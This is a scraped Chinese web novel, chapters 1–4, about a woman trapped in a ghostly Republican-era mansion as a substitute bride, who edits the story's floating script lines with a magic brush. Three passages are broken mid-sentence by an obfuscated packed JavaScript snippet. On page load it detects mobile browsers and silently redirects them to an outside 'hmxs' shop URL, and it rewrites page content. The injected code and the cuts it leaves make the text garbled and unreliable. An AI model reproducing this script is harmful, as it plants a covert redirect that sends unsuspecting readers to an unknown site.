《鬼少爷他要娶我狗命?》 1. 第 1 章 ——我不是乔小姐。 黎秋又第一反应是自己被绑架了。 她此时正坐在一个小小的,摇摇晃晃的轿子里,手脚都动弹不得,连话都说不出来,寒冷使她思维迟钝,想不通自己是怎么出现在这里的。 窗帘被外面的人掀开一个角,她称呼黎秋又为乔小姐,声音尖细沙哑,像深山老林中,漆黑夜里怪鸱的悠长叫声,“乔小姐不要听那些流言,这冲喜是好事,结了婚,老爷身体恢复好了,你也跟着享福,过个一年再给贺将军生个小少爷,到那时候还用担心你妈妈的病治不好吗?” 什么玩意儿?什么冲喜,什么贺将军,什么妈妈的病,啥年代了! 可她像是被钉在了轿子里,视线只能死死盯着掀开窗帘的那只手,那只干长如枯骨,森白的皮松垮垮得挂在几根指节上的手,以及说话之人毫无血色的面上,艳红唇齿一张一合,露出里面血色的,尖利的牙。 不,这不是绑架,她被迫接受着眼前这些诡异的事情。 黎秋又红着眼眶,挪不开视线,窗外喜娘随着轿子前行,一边走着,发出“咔咔”的脚步声,像是几根木质拐杖自己在路上跳似的。 喜娘觉得黎秋又是舍不得母亲,嫁人的姑娘哪有不哭的,笑得和善,安慰她:“乔小姐也不用太过伤心,总归都在南都,不会再也见不到妈妈的。” 躯体受困,僵化得难受,她心里发毛,黎秋又此时很想大叫出声,挣脱开,跑出轿子,想要不管不顾地跑走。 此时隐隐听到路人讲话:“红白事撞一起,恐怕不吉利哦。” “这红事本身也不吉利,贺老将军六十有三,昨儿年才娶的姨太太,才死了不久,又要新娶。” “哎,可惜了这桃李年华的小姑娘咯。” 喜娘只是转头去看向那些路人,看过去时,路人短暂噤声。 这些路人没有面孔,黑色的头发下面,是模糊的一团,他们有人的轮廓,却不是人。 窗外,冬日的烟火气息闯入轿子里,黑沉沉的街道上到处都是纷扬的白色纸钱,路边还有光秃秃的树干,被亮堂的月光一照,像一排排张牙舞爪的怪物。 冷风顺着窗吹进来,黎秋又五官都冻得冰凉,吸进肺里的空气都是凉的,一张纸钱跟着风一起飘进了窗子,那喜娘瞧见,红唇一掀,口中的长舌吐信子似的戳到了黎秋又跟前,差点舔到了她的脸,而黎秋又只能怔楞地看着,躲也没法躲。 最后,她只是用她的信子勾走了那张纸钱,又吐在了窗外,朝黎秋又笑笑,“别叫这些东西脏了乔小姐。” 那双空洞的眼,一直看着黎秋又,黎秋又的视觉从来没有这么清晰过,她清楚地看到,喜娘的眼瞳里,只有一片漆黑,就像初学绘画的孩子,用黑色的画笔给娃娃脸上涂上了两只漆黑的洞。 这到底是什么鬼啊! 这样的深夜里,喜娘身后的街道上,传来那些无脸路人的惊叹声、议论声;摊贩用瓷碗磨刀的声音、修鞋匠补鞋时的铁砧敲击声、车夫拉着黄包车碾压马路、电车经过发出“叮叮”警铃。不远不近的唢呐声,有一搭没一搭地吹着,一会儿唱红,一会儿唱白。 声音清晰入耳,黎秋又的后背凉了又凉,她很显然已经不在南城了,准确来说,她可能也不在自己原来那个时空了。 一开始,她只是应外婆的遗愿,前往南城贺家去认领自己的娃娃亲,高门大户里,贺家的管家带着她去见娃娃亲的路上,莫名其妙就来到了这里。 以前总觉得遇到什么事情,只要她还有一双腿,就可以跑走,眼下却连动都动不了。 忽地在轿子之后的不远处,从窗外传进来一阵男人的尖吼声,“这是哪里!我要回去!不要碰我,你们都是什么东西?” 下一瞬间,男人狰狞的面容突然出现在了黎秋又这个轿子的左边窗口,男人掀开窗帘,死死盯着黎秋又,“救我!救救我!” 她看见男人脸上遍布血迹,还有因恐惧而夸张堆叠的面部褶皱,双手攀着窗沿,手指用力泛着死白。 而另一侧的右边,刚还满面和善的喜娘,霎时间面目扭曲,一张红唇上的皮肉全然退化,只剩下了骷髅似的下颌,上面嵌着锋利的尖牙,黎秋又只看见这一瞬,喜娘掀着帘子的手松开,与此同时,轿子又被“哐当”搁置在地上。 黎秋又的眼前变成一片漆黑,她动弹不得,窄小的轿子里,她几乎能听见自己急促喘息的声音。 不能视物,听觉就变得异常灵敏,黎秋又的指甲狠狠掐着自己的掌心,右侧的“咔咔”声,就像齿轮运作,几乎是瞬间到了左侧,那男人被一股巨大的外力扯开。 黎秋又感受到轿子被气流引起一阵晃动,接着,又归于平静。 只是耳边仍旧传来可怕的布帛撕裂声,吞食咀嚼声。 如同许多大型野兽在撕扯食物,争夺。 短短几秒钟的时间,黎秋又仿佛度过了一个世纪,掌心被她掐得生疼,额间都渗出了细密的汗。明明此时她已经冷到牙齿打颤。 男人的尖叫嘶吼声,早已消失在吞食声中,连血腥味都不曾留下。 夜静了。黎秋又开始后怕,如果刚才她能动,那么冲出轿子的一瞬间,自己的下场也会是这样。 没有人再继续抬起轿子,也没有喜娘掀开帘再嘱咐她些什么,仿佛刚才只是经历了一场幻觉,现在所有事物都回归了正常。 好半晌后,黎秋又听着自己的心跳渐渐平静下来,她这才松开了手指。 她确定自己遭遇鬼打墙了。 刚才的一切都是幻象,只是幻想太过真实了。 黎秋又七岁那年,跟着外婆去了一座孤坟山,外婆上山在那里遭遇过鬼打墙后,外婆出去办业务时,再也不敢让她离开身边半步,以至于后来黎秋又都变成了“婆宝女”,外婆那些看地看风水的本事什么也不会,什么都要依靠外婆。 但她清楚,此时遭遇的这种类型的鬼打墙,恐怕即便是外婆本人在这里,也很难自救。 黎秋又被困在这个窄小的轿子里,身体僵得发麻,温度也越来越低了,黑暗中,她小幅度活动了一下身体,发现现在已经可以动。同时,也感受到自己身上穿的已经不是自己原先的衣服了。 是一身很有捆缚感的旗袍,上身还披了件不知什么动物的皮毛。 左手腕上有一块唯一还属于她自己的腕表,这块表的前身是一块怀表,外婆给她的,为了携带方便,被她改造成了一只腕表。 她不确定窗外会不会有“人”就静静地把脑袋搁在旁边,等着黎秋又打开窗帘和她打个招呼。 只是现在越来越冷了,她不敢轻举妄动,端坐在轿子里面,轻声开口:“你,咳咳,你好,还在吗?” 找回声音之后才开口,那嗓音哑得像公鸭,外面仍然是一片寂静。 她这才用冷得发僵的手指,小心翼翼去戳开窗帘,探出视线去,窗外已经什么都没有了。 没有喜娘,没有纸钱,没有黄包车,没有修鞋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698914|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匠,没有热热闹闹的无脸路人,只剩下了一面单扇的漆红小门。 四周开始弥漫浓重的雾,以肉眼可见的速度向轿子这边铺开,这一小方天地看似窄小可靠,但黎秋又知道,这里已经不安全了。 她掀开轿帘,准备跨出轿子,一瞬间,脑海中猛然被一阵光怪陆离的景象入侵,像满脑子的万花筒在不停旋转变化,又像误食毒蘑菇后巨大的烟花在脚下绽放,绚烂的霓虹在遍地行走。 奇异的视觉感官并没有给黎秋又带来震撼,因为她整个人在这一瞬间,陷入了难以抑制的巨大悲伤之中。 像是独自一人踽踽走过了漫长的年岁,又像是永远被困在了某一方天地,无法解脱,还像是瞬间内经历了人世间所有离别的苦,无能为力。 也仅仅就这一瞬,而后所有异状恢复正常。 黎秋又伸手去抹,才察觉到自己竟然已经遍布泪痕。 该不会被什么玩意儿附身了吧…… 她总是这样的,有时候心脏骤疼,但疼的感觉只维持了一会儿,她就自然而然忽略了这些反应。 现在,这瞬间的异样虽然令她疑惑,但她觉得更重要的还是进入那扇未知的门。 在原地缓了几秒后,黎秋又才终于踩着本不属于她的白色小皮鞋跨出了喜轿。 面前红色的小门此时看上去红得艳丽,就像是被均匀涂上了新鲜的血,越来越红,红得要渗出来了似的。 黎秋又提了提旗袍裙摆,跨上台阶,靠近小门,微微蹲了下身子,小心翼翼地把门掀开了个缝。 苍老的“吱呀”一声,黎秋又朝小门里塞了只眼睛进去,却发现眼前竟豁然亮堂起来。 没有人,她这才直起身子,缓慢推开了门,谨慎步入。 门内是一间宽阔的小院,脚下的石板路蜿蜒至视野尽头,灰墙黑瓦的中式房屋前,却是个扇形的西式拱门,门前还立着两根罗马柱。这种中西合璧的建筑风格在民国时期很常见。 黎秋又最近正在写民国的悬疑小说,所以对这方面稍微了解过一些,像这样的宅子,不会是一般的家庭,在这个时期的如此豪宅,怎么也是个军阀或是资本家。 所以,这就是那“贺老将军”的家,她果真是作为冲喜新娘“嫁”进来了。 院里到处都摆放着红灯笼,喜庆氛围扑面而来,黎秋又仍旧疑惑,哪怕是军阀家庭,娶一房姨太太而已,不至于这么隆重。 这些喜庆的布置若是为了宴客,或是迎接过年倒还说得过去一些。 小院西侧有一棵高大的老榕树,枝叶并不繁茂,树干却很粗大,一根树枝下还吊着一个小秋千,黎秋又已经开始幻视,那里有个小孩,正坐在秋千上嘻嘻哈哈笑着,又猛然抬起一双空洞漆黑的眼望向她。 思维太过活跃也不是好事,她决定离那棵树远点。 但院子的东侧又是一汪水潭,在黑暗中,幽深不见底,只倒映出屋檐下的红灯笼,反射出红色微光。 黎秋又有深水恐惧,她决定离这小潭也远点。 脚下小皮鞋踩上正中的石板路上,发出“哒哒”的声音,清脆的声响在寂静中吓了她一跳。 石板路的尽头,有人正从门洞过来,窸窸窣窣的。黎秋又赶紧把脚上那双吵人的高跟鞋扒下来,翻到长廊的柱子后面躲着。 “你麻利点,别叫这个乔小姐死太快了。”有人低声开口。 另一个声音小心翼翼:“唐约姐,你说这次的乔小姐有没有可能是个男人?” 2. 第 2 章 长廊与屋檐相连,烛火在红灯笼里,被微风吹得轻晃,石板路被水洗过,红色的光从地板反射出来,零星血迹似的。 黎秋又躲在柱子后面,看着两个纤瘦身影鬼鬼祟祟地走在长廊下,左顾右盼。 她们是人。 走在前面的那位,身上穿的是红色的繁复戏服,挂件在身上坠着,走路还发出“嘀嘀哩哩”的声音。 穿着戏服的人,此时猫着身子,走到一间房门前,小心推门,这才回答刚才的话:“嘴巴闲着没用可以去当订书机。” 她身后的一位姑娘穿的是棉麻材质的深蓝色袄裙,像大户人家的丫鬟,她肩上跨了只单肩包,用一手把包压在身后,她被怼惯了,也没生气,过一会儿她又压低声音开口:“唐约姐,我们做我们的事就行了啊,为什么非要等新的乔小姐来?” “来到这里都是一条船上的,我们需要有更多同盟才好办事。”前面那位穿着戏服的女人回答。她声音粗哑,像抽了二十年的烟,一点也不像能唱戏的样子。 身后丫鬟装扮的女人朝黎秋又进来的那扇院子后门望去,黎秋又把身子朝下缩了点,听见她说:“可是都死了两个乔小姐了,我们就算提前来守着,也不一定能改变结……” 她话没说完,从廊边柱子后看见了黎秋又的衣角,上半身毛绒绒的动物皮毛漏了馅。 黎秋又还没来得及站出来,反倒是那女人吓得一退数尺,把蹲在门口小心开门的戏服女人一把推进了屋子里。 “你干什么一惊一乍的!”那个叫唐约的女人朝这人肩上拍了一巴掌,黎秋又才从廊柱后探出脑袋去。 唐约发现身后的房屋是安全的,她只瞥了黎秋又一眼,眼神示意身后的女人,她先跨入房间后,黎秋又就被那女人拽着也进了房间。 房间是空的,里面没有家具,只在三面墙边整整齐齐码着几排箱子,面前这个叫唐约的女人,长相十分精致,眉梢眼角都是恰到好处的美,黎秋又很少在现实生活中见到长得这么精致的人。 唐约不知从哪拖了个凳子过来,关上门,把黎秋又按在门后,黎秋又手上还拎着自己的皮鞋。 “你是乔小姐。” “我不是乔小姐。”黎秋又把鞋丢在身侧,就规规矩矩端坐着,睁圆双眼抬脸看着唐约。 “不管你是谁,你现在都是乔小姐。” 黎秋又的水粉色长款旗袍,上身搭着小狐狸皮草,唐约一眼就看出来了她的身份,她的相貌并不美丽出众,好在是乖巧清秀的脸,灵透的眼神倒有些像女学生。 黎秋又一脸疑惑。 “你就是那个冲喜嫁进来的十六姨太。” “所以你今晚就会死。”唐约身边的女孩面相看上去比唐约和善,但说出来的话跟吐阴气似的,鬼气森森,吓得黎秋又一双圆眼怔怔地盯着她。 唐约把人拉开,“小廖,别给人吓晕过去了,等会还有正事。” 她一伸长腿,踩到黎秋又耳边的门上,身上华丽配饰发出声响,看着黎秋又神情严肃,“作为十六姨太,你今晚,需要进入老爷的房间,喜娘跟你说过吧?” 黎秋又安静等着唐约继续讲。 “上两个十六姨太宁死不愿,我和廖欢就眼睁睁看着她被那刚回国的少爷撕了脑袋。” “你如果想活命,最好是按照你的人设,做你该做的事。” 黎秋又听懂了唐约的意思,照她的说法,这大概像是个要命的剧本杀游戏。 “别把这当做剧本杀。”唐约看穿了黎秋又的心思,“从现在起,你就是乔小姐,不能让这里的npc察觉任何端倪。” “你需要融入他们。” “你刚才说,在我之前,也有人作为十六姨太‘嫁’进来?”黎秋又不自觉踮起脚尖,双脚化身树根死死扎在地面。 “对,所以我们的角色并不是只有我们能担任,一个死了,就会有另一个补上来。”廖欢发出阴恻恻的声音。 “这个死……是我想象的那种死吗?” 唐约用鼻孔轻笑:“我没死过,你可以试试。” 黎秋又忽然感到脑门痒痒的,像有东西正在靠近,但唐约跟她讲完话就退开了,廖欢也趴在门边鬼鬼祟祟望着外边。 黎秋又起身去,脑袋环顾一圈,并没有什么靠近的东西。 转过身来的廖欢突然指着黎秋又,“你你你,你发光了。” 唐约靠过来,掰过黎秋又的脑袋,就看见她原本盘在脑后的发簪,正在泛着莹莹绿光。 “你头上啥玩意儿?” “我又看不见,我怎么知道啥玩意儿?”黎秋又有点急。 唐约思索两秒,直接上手去把黎秋又后脑勺的发簪抽出来。 三人这才看清,这竟是一支笔,一支淡绿色,通透玉质的毛笔,作为发簪也毫不违和,只是此时发着光,映在几人脸上,显得更诡异了。 黎秋又把这笔接过来,笔身温凉,晃了两下,笔尖所及之处,留下了淡淡的绿色印记。 捏笔的感觉非常熟悉,像是经常用的。黎秋又习惯性转了转笔,发现竟意外地跟手,就像是专属于她的物件似的。 她们正无法理解这支毛笔在此时出现的原因,忽地就见周边不知什么时候出现了无数细闪的金粉,开始汇聚,两三秒的时间,就在三人的眼前汇聚成几行泛着金光的字! 【民国十九年,择了腊月十八的吉时,全府为老爷冲喜。你且看那前厅后院的红灯笼,倒比枝头的梅花还艳上三分。】 黎秋又瞪了瞪,抬眼看向身边两人,“你们能看见吗?” 三人凑在一起,面前是金粉绿光,背后是一片漆黑,都不约而同地用低声讲话,唐约呛道:“我看不见,我是瞎的吗?” 金色的发光台词没有显示在实物载体上,而是浮于虚空。 “今天确实是腊月十八。”三人顺着窗户望出去,被许多灯笼照着,亮堂堂的院子里,也确实能看见从其他小院翻墙而来的梅花。 “这是我们现在所在的剧本里的台词。”黎秋又笃定。 廖欢喃喃:“还真让你玩上剧本杀了。” 唐约伸出一根手指,在那些像是有生命似的金粉上,抹了一把。 “这字还能被抹掉啊?”廖欢把唐约的手指拿过来仔细看了看,“没粘到手上。” “那是重点吗?”黎秋又有点想骂人,眼里的金光字正在忽闪忽闪,“字被擦掉了啊!大姐!谁知道这个字没了会不会出什么问题啊!” 唐约皱眉,“哪两个字没了,这里原先是什么?” “你且看那前厅后院的红灯笼,倒比枝头的梅花还艳上三分。红灯笼,红灯没了!” 黎秋又话音刚落,院子里原本红彤彤的光,突然“啪叽”,灭了。 光和声音一起消失了,三人呼吸都开始变得压抑,空气安静地已经能听到对方的心跳声。 “你手里不是有笔吗?”唐约拽起黎秋又的手。 黎秋又福至心灵,迅速用手上的笔开始往那空处填写。下笔触感奇异,平滑无摩擦,这样写出来的字很容易写得张牙舞爪,为防写出来的字因为潦草而有歧义,黎秋又小心又小心。 “用这个绿油油的笔写出来的字……” 黎秋又就知道,自己写字的时候,一般是不太建议别人在跟前讲话的,很容易被打岔的人影响。 比如现在,廖欢话还没说完,三个人就盯着黎秋又写的那个“绿”字愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698915|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好几秒。 唐约伸手去擦,擦不掉。 此时屋外隐隐约约传来了人讲话的声音,唐约催促道:“不管了,快写,来接你的人到了。” 黎秋又最后完整地补上了这两个字,写完的一瞬间,屋外又亮了起来。 . “少爷,我们还要坐几天的车啊?呕……%&*¥#”火车上,一个十五六岁的少年面如菜色,胃里已经吐不出什么东西了,趴在桌上蔫蔫的。 餐车靠窗的位置,坐着一位面如冠玉的儒雅男士,一身天青色唐装,令他尽显温润。 但是隔壁桌的两位少年却很清楚地知道,面前的少爷也就是看上去温柔,事实上,他仅仅一只手就能将人的脑袋搬离身子。 “小宣,才坐了半天的火车,你就成这个样子了?以后是要多带你们出来历练历练了。”少爷端着咖啡,语气轻缓柔和,也不看邻桌的两位少年,抬眸去望向窗外。 他已经五年没有踏足故土了。 池二浩桌面下的脚踢了踢宣余,眼神警告他不要乱说话。 虽说少爷只坐了半天火车,但他们却是实打实坐了十来天。 每次醒来都在火车上。 少爷记忆也从来都只停留在这一天。 池二浩支着下颌,视线悄悄地在少爷身上上上下下打量,“少爷今天看上去心情不错,是想到什么开心的事了吗?” 贺砚清这才转过眼来,朝俩少年笑笑,眉眼温润,少年一眼幻视看见亲哥哥了似的,他声音如沐春风:“终于回家了,难道不是件值得开心的事?” 池二浩眼皮突突跳,若不是少爷每次回到那宅子,还没进屋就先“咔咔”拧掉一个人,他可能还真会信了少爷的鬼话。 明明之前的每一天,他的面上都是浓雾愁云的。 “那今天回去,可以在家里先住几天吗?少爷先别咔咔人了行不?”宣余脑袋昏昏沉沉的一顿发泄,池二浩按都没按住。 “说什么胡话呢?”少爷没理解宣余的意思,笑笑,叫了服务生来,“再给他灌点晕车药吧,我可不想一会儿还要找人抬他回去。” 宣余倒下了,池二浩承担起沙僧的责任,少爷归国带了三个大箱子,全被池二浩一个人拎着回了府。 二人怀揣着侥幸心理回到府里,希望明天醒来能够不要再回到火车上的愿望,瞬间破灭了。 “绿了,全绿了!”廖欢欲哭无泪,“这下完蛋了。” 三人的脸上,映出了满院绿灯笼的光。 廊下,桥边,还有树上,先前象征喜庆的红灯笼,现在统统变成了绿色。 不远处的高层楼阁下坠着蜿蜒灯笼串,灯影交错,原本在园林中是隽永温雅之色。而现在,都变作了绿影幽光,如坠落了幽冥地狱,那些灯笼串,就像巨怪张开大口,露出的绿幽幽的可怕獠牙。 屋外传来两位侍女讲话的声音,“乔小姐还没来吗?” “不会吧,这个喜娘一向很注意时间的啊。” 脚步声朝黎秋又所在房间走来,她连忙整理了一下自己凌乱的发,又用手里的毛笔把头发归束到脑后,簪上。 唐约最后叮嘱道:“前两个乔小姐,有大喜或大悲的情绪,但最后都被少爷撕了,我不知道你应该是什么样的人设,但这两个选项都不可选了,你自己保重。” 黎秋又垂眸深思,不论是什么时代的冲喜新娘,都不太可能是心甘情愿的,多的是无可奈何。 根据先前喜娘的只言片语,大概猜想着,应该是乔小姐的母亲生了什么病,为了这个治病钱而嫁给老头子冲喜。 大喜或大悲的情绪都是不可能的。 黎秋又整理好自己,穿上皮鞋,才拉开房门。 3. 第 3 章 门开后,外面两人立马瞧见了黎秋又,是两位也穿着棉麻材质袄裙的姑娘,每人手上各提着一只绿灯笼,朝黎秋又小跑过来。 她们同喜娘一样,露出个灿烂和善的笑,只是唇齿依然很红,哦不,绿。 “乔小姐已经入府啦,我们来接晚了,可是叫乔小姐等急了。” 两个姑娘有脸,并且五官清晰能辨,模样还挺清秀的,想来应该是副本里的重要角色。只是绿色的灯笼从下往上照,也太符合她们作为女鬼的身份了。 其中一个不那么跳脱的女孩朝黎秋又矮了矮身子,面带微笑说:“乔小姐,我是银烛,先前是二太太身边的人,今天开始由我来照料乔小姐的起居。” 她留意到黎秋又站在那里有些局促,亲昵地上前去搀着黎秋又,“乔小姐,二太太传您去说话,晚点还要代表老爷去府门迎少爷回家,我们这就走吧。” 黎秋又用身体挡着门,唐约两人躲在了门后,二位丫鬟朝门里面望了望,就不再注目,搀着黎秋又往外面走。 刚进府就要接受上面的下马威,黎秋又慌得冷汗干了一茬又一茬。至于为什么是二太太而不是大太太,黎秋又一点也不敢张口去问。 银烛柔软但冰冷的手搀着黎秋又的小臂,贴心地问她:“乔小姐为什么一直在发抖?” 黎秋又脖颈一僵,不敢偏过头去看银烛的表情,不知这些鬼怪会不会和外面的喜娘一样,不由分说就吃人? 她轻声开口:“有些冷,这身裙子还是单薄了。” “听说乔小姐是北方人,想不到还不及我们南方人抗冻呀。” 黎秋又很怕说多了露馅,冻僵的脑瓜子飞速运转,思索要怎么开口回答,这时银烛又开口转了话题,“不过乔小姐放心,老爷房里有壁炉,温暖得很,夜里伺候老爷,不会冷的。” 这句话真令人脊背发寒。 根据唐约的说法,黎秋又应该是要先见到少爷,后才去见老爷,先前的乔小姐是连少爷这关都没过去,更别说之后的老爷了…… “少爷还有多久回府?”黎秋又垂眸悄悄看了眼腕表,时间就要到十一点,只是她还不能确定自己的表,在这里时间还会不会准。 银烛偏了偏脑袋,这个时候又像是脑袋生锈了,需要用很长的时间来反应黎秋又问的是什么似的,黎秋又生生被她看了好几秒钟的时间,才听到她轻轻笑了声,说:“少爷子时三刻回府。” 话音刚落,不远的某处院子,敲锣打鼓一阵吆喝,热闹人声沸腾,咿咿呀呀的戏曲声就要开场。 此时正好晚上十一点整。 越走越热闹,黎秋又已经可以看见忙碌的小厮抬着箱子朝各个院里搬。 月光罩着院子,莹亮的绿灯笼照着每一张忙碌的脸,管家朝搬着箱子的那几个小厮招呼道:“这个箱子轻点啊,这是少爷给二太太带的进口珐琅首饰。” 黎秋又朝戏曲那声音来源指了指,明知故问:“那边在做什么?” “是二太太请的戏班子,少爷已经五年没有回家了,府里上下都等着迎接呢。”她语气轻快,很开心的样子。 西厢廊下有三三两两的丫鬟扎堆坐着,嘻嘻哈哈地聊天,看见银烛后,还朝她挥了挥手,忽略了银烛身边的黎秋又。 很冷,从里到外的冷。 黎秋又脚下皮鞋单薄,是秋款,现在已经深冬腊月,隔着单薄的长袜,把小白皮鞋踩在石板路上,鞋和石板硬得平分秋色。 她第一次见这么多鬼,满院子,全是鬼。 不同服装的小厮和丫鬟对应不同的工种,一个戴着围裙的小厮从后院跑到主院,匆匆跑到管家跟前说了什么话,管家叉着腰大骂:“新来的厨子怎么这么多事?叫他能做做,不能做就滚!” 小厮听了话就要跑走,管家又叫住他:“算了,送吧,记得从后门送,少爷马上就要到家,别再出岔子了。” 看来鬼和鬼之间也是有矛盾的,如果能让他们鬼咬鬼,或许黎秋又她们还能找到什么破局之法。这么想着,手里递过来一只暖炉。 竟然真的是热的,一股暖流顺着黎秋又的手包裹了她上半身。 “乔小姐已经冷得牙都在跳舞了,一会儿怎么跟二太太讲话呀。”银烛笑着对黎秋又说,二人又走进了一道洞门,离刚才的热闹远了。 “乔小姐,这里就是二太太的院子了。”院东侧一棵海棠果树,低低矮矮的,与旁边的小亭子不相上下,院里绿油油的光在光秃秃的树枝上缀了生机,还以为是绿了一个冬呢。 不过房间里却是正常的温暖黄色亮光,看来只有灯笼变了色。 这个院子离前院不远,安静,但也能隐约听见那边传来的热闹人声,黎秋又有一瞬间仿佛感到温馨的错觉。 如果她们都是人的话。 银烛正要带着她进房间,门被从里面打开,一小丫鬟从屋里出来,垂着脑袋一脸丧气,但还是小心翼翼转过身去把房门带上了。 “怎么了?太太不高兴了吗?”银烛拉着她问。 丫鬟抬眼看看她,又朝黎秋又望了一眼,不发一言,黎秋又发现她脸颊有红肿的巴掌印,她又匆匆低下头走了。 但银烛转过脸来,又对黎秋又笑。 她的笑容很僵,从开始到现在似乎一直都是这么笑的,嘴角弧度都是一样。 黎秋又避开银烛的目光,小声打退堂鼓:“二太太心情不好的话,不如就先……” “不会的,乔小姐,”银烛仍然笑着,黎秋又越看越怕,“太太不吃人的。” 她这样讲话,黎秋又越是觉得,她说的像“太太要吃人的。” 凭空起了一阵风,院里卷来了一股潮湿腥咸的味道,不是什么血啊雨的,像是一股龙王吐到院里似的,铺天盖地的海产品味儿。 二太太还在屋里,投在窗上的影子格外巨大。 那身影摇摇晃晃,门在下一刻被打开,黎秋又就见到了二太太,正仪态端正地出了房门。 果然如她想象中那样,二太太脸色阴沉,绿光照射下,端着身子,有难以忽视的压迫感。 她一身华贵的皮草下,是墨绿色绒面旗袍,尽显优雅,只是她的面色看上去确实很不好。银烛立马朝二太太欠了欠身子,“太太,乔小姐带来啦。” 二太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698916|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太只睨了黎秋又一眼,黎秋又努力想站得端正,但不知是不是鬼太多,阴气太重的原因,她从来没有像现在这么冷过。不光牙打颤,连腿都止不住地发抖。手里的暖炉只够给她两只手提供温暖。 “怂包。”二太太没说别的,丢了一句话就出了院门。 “快跟上。”银烛催促黎秋又。 这时候周遭又开始汇聚金色粉末,黎秋又定在原处等着台词出现。现在眼下情况看来,可以松一口气的是,短时间应该不会经历电视剧里那种当家主母给新妾立规矩的场景了。 可是早不来晚不来,在这个节骨眼上来台词,她哪有办法让银烛回避一下啊! 笔还在脑袋后面呢,下意识就朝银烛开口拖延时间,“不好意思,我的脚太冷了,已经冻麻了。” 黎秋又捧着手炉的手紧了紧,盯着银烛的表情,担心她突然“暴走”。 开始闻到的那股海产品味道越来越浓,走在前边的二太太脚步越来越急促,开始用手捂着鼻子。 她在前方大喊了一声,“银烛!快去看看哪里来的鱼味儿!” “哎!”银烛听了二太太的话,立马跑开了。 台词适时显现出来:【少爷子时三刻回府,众人皆齐装于府门前迎接,戏子登台唱戏,厨子开火宴客,书童上前亲迎,冲喜准新娘进入喜堂,等待拜堂。】 姨太太还需要拜堂?黎秋又想改动的地方太多,一时还有些纠结。 “一群废物点心!少爷最讨厌这等俗艳之物。”二太太一脚踢开了脚边摆的马儿形状的灯笼,顺着就倒了下来,那马嘴边上的两只眼,就定定望着黎秋又这边。 像纸扎店里的马面,绿绿的,很安心。 黎秋又面前的字快要消散,她来不及再多思考,前面的二太太看上去像是在暴走边缘,已经消失在黎秋又的视野。 不知道有谁会遭殃,反正不能是她。既然少爷是她第一个要面对的难关,那不去见少爷不就没事了! 于是黎秋又迅速取下发簪,比划了两下,确定还可以写出字来,就把“众人皆齐装于府门前迎接”的“众”字擦掉,准备写上一个“无”字。 前院咿咿呀呀的唱戏声还在继续,二太太风雷滚滚地去了后院,另一边的门洞处探了半个脑袋进来,视线乱扫一圈,看见了正要离开的黎秋又。 “嫂子!”一道闷闷的声音传来。 声音实在有点耳熟,黎秋又扭了扭脑袋,就见一个一米八的大个子背着个小学生书包,迈着小碎步朝她跑过来。 十八九岁的青年脸露出一副委屈巴拉的表情,伸出两只手指拽了拽黎秋又身上的小狐狸毛,“嫂子,我终于找到你了。” 什么鬼?黎秋又看了眼他就扭开了视线。 台词中如果无人迎接,那就万事大吉! 然而,她只来得及画上去一笔,这支一直莹莹发绿光的笔突然间黯淡下来,任黎秋又再左晃右晃,甩来甩去,怎么也画不出来第二笔了。 那一笔成型在金字消散前,变成了“一人”。 黎秋又感觉自己从上到下只有一根筋了,脚后跟扯着脑袋生疼。 4. 第 4 章 “谁是你嫂子,别乱叫。”黎秋又一脸生无可恋地烦躁。 虽说声音耳熟,但她其实和这傻子只有一面之缘。 黎秋又一直知道自己有个娃娃亲,外婆不提,她也从来不问,直到外婆临走前,才提起这件事,外婆要她务必要去贺家认下这门亲事。 南城贺家从民国传承至今,是当地赫赫有名的豪门望族,这样的望族,黎秋又认为来认领娃娃亲的下场无非是被扫地出门,最好再给她丢一张支票。 她做好了拿支票走人的准备,却不想,贺家管家恭恭敬敬迎她进门,先见到了这位地主家的傻儿子。 黎秋又咽了咽口水,正想问,娃娃亲该不会是这傻子吧,管家就让这傻小子叫她“嫂子”。 并且要带她去见这傻子的哥哥。 她就是在去见傻子他哥的路上,误入了这里。 万万没想到这个傻小子居然也进来了,黎秋又拽了拽他耳朵,把他拉到跟前来,低声说:“贺尧!你是怎么找进来的?还能出去吧?” “疼疼疼,嫂子松手。”贺尧把自己的耳朵释放出来,离黎秋又远了点,一脸不满地揉自己的耳朵,“我不知道怎么进来的,也不知道怎么出去。管家让我找你,我就找你。” 黎秋又绝望得不能再绝望了,她干脆不理贺尧。 按理说台词会立即生效,但现在外面已经乱做一团,比刚才还要吵闹。 如果要一人去府门前接少爷,总该不会是她吧,方才银烛对她说过,现在是二太太当家,照理来说应该二太太去,或者一个管家去就得了。 